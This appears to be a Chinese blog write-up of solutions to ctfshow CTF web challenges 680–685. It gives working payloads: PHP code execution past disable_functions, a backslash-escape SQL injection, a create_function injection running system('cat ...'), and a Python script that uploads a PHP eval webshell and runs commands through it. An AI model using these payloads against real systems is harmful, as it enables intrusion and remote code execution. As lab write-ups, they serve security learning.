ctfshow-大赛原题(680-685)
2022/4/28 6:12:50
本文主要是介绍ctfshow-大赛原题(680-685),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
web680
post传入code=phpinfo();有回显
查看disable_functions,发现这些被禁用
assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir
code=print_r(scandir('./'));
查看发现文件
code=show_source(secret_you_never_know);
web681
登入抓个包
尝试注入,单引号被过滤,那就用\转义单引号
输入 ||1#\ ,等价于
select count(*) from ctfshow_users where username = '||1#\' or nickname = ' ||1#\'
web682
不会解混肴
web683
?秀=7.6e6
科学计数法绕过,sleep不会转,等7秒即可(0x16进制也可绕过)
web684
/?action=\create_function&arg=return(1);}system('cat /secret_you_never_know');/*
详见web147
web685
import requests url="http://afda2459-aa5f-4692-ad7e-6c672e51685f.challenge.ctf.show/" files={ 'file':'<?php eval($_POST[test]);?>'+'b'*1000000 } r=requests.post(url,files=files) for i in range(0,10): u=url+'data'+str(i)+'.php' r=requests.post(u,data={'test':'system("ls;");'}) print(r.text) print(1)
这篇关于ctfshow-大赛原题(680-685)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15PingCAP 黄东旭参与 CCF 秀湖会议,共探开源教育未来
- 2024-05-13PingCAP 戴涛:构建面向未来的金融核心系统
- 2024-05-09flutter3.x_macos桌面os实战
- 2024-05-09Rust中的并发性:Sync 和 Send Traits
- 2024-05-08使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B
- 2024-05-08完工标准(DoD)与验收条件(AC)究竟有什么不同?
- 2024-05-084万 star 的 NocoDB 在 sealos 上一键起,轻松把数据库编程智能表格
- 2024-05-08Mac 版Stable Diffusion WebUI的安装
- 2024-05-08解锁CodeGeeX智能问答中3项独有的隐藏技能
- 2024-05-08RAG算法优化+新增代码仓库支持,CodeGeeX的@repo功能效果提升